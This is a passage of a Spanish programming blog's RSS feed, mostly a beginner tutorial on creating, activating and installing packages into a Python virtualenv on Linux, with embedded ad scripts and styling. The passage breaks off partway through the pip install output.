de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/aprender-python-desde-cero-resena-de-beginning-python/&#34;&gt;Beginning Python From Novice to Professional&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;La mayor parte del contenido en internet sobre el lenguaje de programación Python está en ingles; lo anterior no es nada nuevo, solo basta con darse una vuelta por nuestra librería favorita y preguntar por los libros disponibles en ambos idiomas. El material sobre Python en inglés, además de ser abundante, también es bastante bueno y se encuentra mucho más actualizado que su contraparte en español. Sin embargo, hay un par de excelentes libros para aprender Python en español y uno que otro gratuito, hoy escribiré sobre uno de ellos.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Python virtualenv tutorial básico en linux</title>
      <link>https://coffeebytes.dev/es/python/python-virtualenv-tutorial-basico-en-linux/</link>
      <pubDate>Mon, 15 Jul 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/python-virtualenv-tutorial-basico-en-linux/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Si no tienes ni idea de para que sirve un entorno virtual tengo una entrada donde explico para que sirven los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/por-que-deberias-usar-un-entorno-virtual-en-python/&#34;&gt;entornos virtuales en Python&lt;/a&gt;&#xA;. Hoy vengo a traerte un pequeño tutorial de Python virtualenv donde instalaremos un par de paquetes en un entorno virtual y veremos como se comportan. Asegúrate de tener instalado &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.python.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Python&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pip.pypa.io/en/stable/installing/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pip&lt;/a&gt;&#xA; porque los necesitaremos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;preparativos-para-usar-virtualenv&#34;&gt;Preparativos para usar virtualenv&lt;/h2&gt;&#xA;&lt;p&gt;Empecemos primero creando un directorio nuevo, puedes ponerlo donde tu prefieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mkdir entornoVirtual; &lt;span style=&#34;color:#ff5c57&#34;&gt;cd&lt;/span&gt; entornoVirtual&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez que estemos adentro de este nuevo directorio verificaremos nuestra instalación de Python:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Dentro del interprete de Python intentaremos importar la libreria &lt;em&gt;requests&lt;/em&gt;, usada para hacer peticiones web:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt; import requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Traceback &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;most recent call last&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  File &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;lt;stdin&amp;gt;&amp;#34;&lt;/span&gt;, line 1, in &amp;lt;module&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ImportError: No module named &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;requests&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como no la tenemos instalada en nuestro sistema operativo nos salta un error, por supuesto, que listos que somos. Salgamos del intérprete de Python:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt;&amp;gt;&amp;gt;exit&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Podríamos instalar &lt;em&gt;requests&lt;/em&gt; en nuestro sistema operativo, pero eso nos obligaría a utilizar siempre la misma versión, por lo que en su lugar instalaremos virtualenv, para poder usar entornos virtuales. Para hacerlo utilizaremos &lt;em&gt;pip&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo pip install virtualenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip3 install virtualenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting virtualenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading https://files.pythonhosted.org/packages/db/9e/df208b2baad146fe3fbe750eacadd6e49bcf2f2c3c1117b7192a7b28aec4/virtualenv-16.7.2-py2.py3-none-any.whl --&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;3.3MB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    100% |████████████████████████████████| 3.3MB 3.6MB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing collected packages: virtualenv&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Successfully installed virtualenv-16.7.2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;crear-un-entorno-virtual-en-python&#34;&gt;Crear un entorno virtual en python&lt;/h2&gt;&#xA;&lt;p&gt;Para crear un entorno virtual utilizaremos el comando &lt;em&gt;virtualenv&lt;/em&gt;, especificaremos una version de &lt;em&gt;Python&lt;/em&gt; con la opción &lt;em&gt;-p&lt;/em&gt; y le daremos un nombre a nuestro entorno virtual, por razones de simplicidad lo llamaré &lt;em&gt;&amp;lsquo;virtual&amp;rsquo;&lt;/em&gt;, pero puedes llamarlo como quieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;virtualenv -p python3 virtual&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Running virtualenv with interpreter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Already using interpreter /usr/bin/python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Using base prefix &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/usr&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;New python executable in /tu/python/ruta/virtual/bin/python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Also creating executable in /tu/python/ruta/virtual/bin/python&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Installing setuptools, pip, wheel...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;done&lt;/span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Una vez que termine de ejecutarse el comando se habrá creado una carpeta en nuestro directorio actual. Esta carpeta contiene todos los archivos necesarios para poder usar el entorno virtual. Los paquetes que instalemos mientras estemos utilizando el entorno virtual se irán al interior de esa carpeta. He abreviado el contenido por razones de simplicidad, pero puedes revisar el interior de la carpeta tu mismo para conocerla completamente.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── virtual&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── bin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate.csh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate.fish&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate.ps1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate_this.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── activate.xsh&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── easy_install&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── easy_install-3.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── pip&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── pip3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── pip3.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── python -&amp;gt; python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── python3.5 -&amp;gt; python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   ├── python-config&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   └── wheel&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── include&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    │   └── python3.5m -&amp;gt; /usr/include/python3.5m&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── lib&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        └── python3.5&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ├── abc.py -&amp;gt; /usr/lib/python3.5/abc.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            ├── ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;activar-un-entorno-virtual&#34;&gt;Activar un entorno virtual&lt;/h2&gt;&#xA;&lt;p&gt;En el esquema anterior la parte importante es el archivo llamado &lt;em&gt;activate&lt;/em&gt;, el cual usaremos para activar nuestro entorno virtual de la siguiente manera. &lt;strong&gt;Recuerda reemplazar la palabra virtual si le pusiste otro nombre a tu entorno virtual:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;source&lt;/span&gt; virtual/bin/activate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si el comando anterior se ejecutó sin problemas podremos ver como el intérprete de nuestra terminal cambió:&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Pero no solo cambio el aspecto de la terminal. Además podremos ver que ahora estamos ejecutando nuestro comando python3 desde otra ubicación:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;which python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; /tu/python/ruta/virtual/bin/python3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;instalar-un-paquete-en-un-entorno-virtual&#34;&gt;Instalar un paquete en un entorno virtual&lt;/h2&gt;&#xA;&lt;p&gt;Mientras el interprete se vea así, todos los paquetes que instalemos usando pip se instalarán en nuestro entorno virtual y los permisos de administrador ya no serán necesarios, nota la ausencia del comando &lt;em&gt;sudo&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting requests&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading https://files.pythonhosted.org/packages/51/bd/23c926cd341ea6b7dd0b2a00aba99ae0f828be89d72b2190f27c11d4b7fb/requests-2.22.0-py2.py3-none-any.whl &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;57kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| 61kB 690kB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting certifi&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;2017.4.17 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;from requests&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Downloading https://files.pythonhosted.org/packages/69/1b/b853c7a9d4f6a6d00749e94eb6f3a041e342a885b87340b79c1ef73e3a78/certifi-2019.6.16-py2.py3-none-any.whl --&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;157kB&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     |████████████████████████████████| 163kB 1.2MB/s &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Collecting chardet&amp;lt;3.1.0,&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;3.0.2 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;from requests&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  Using cached 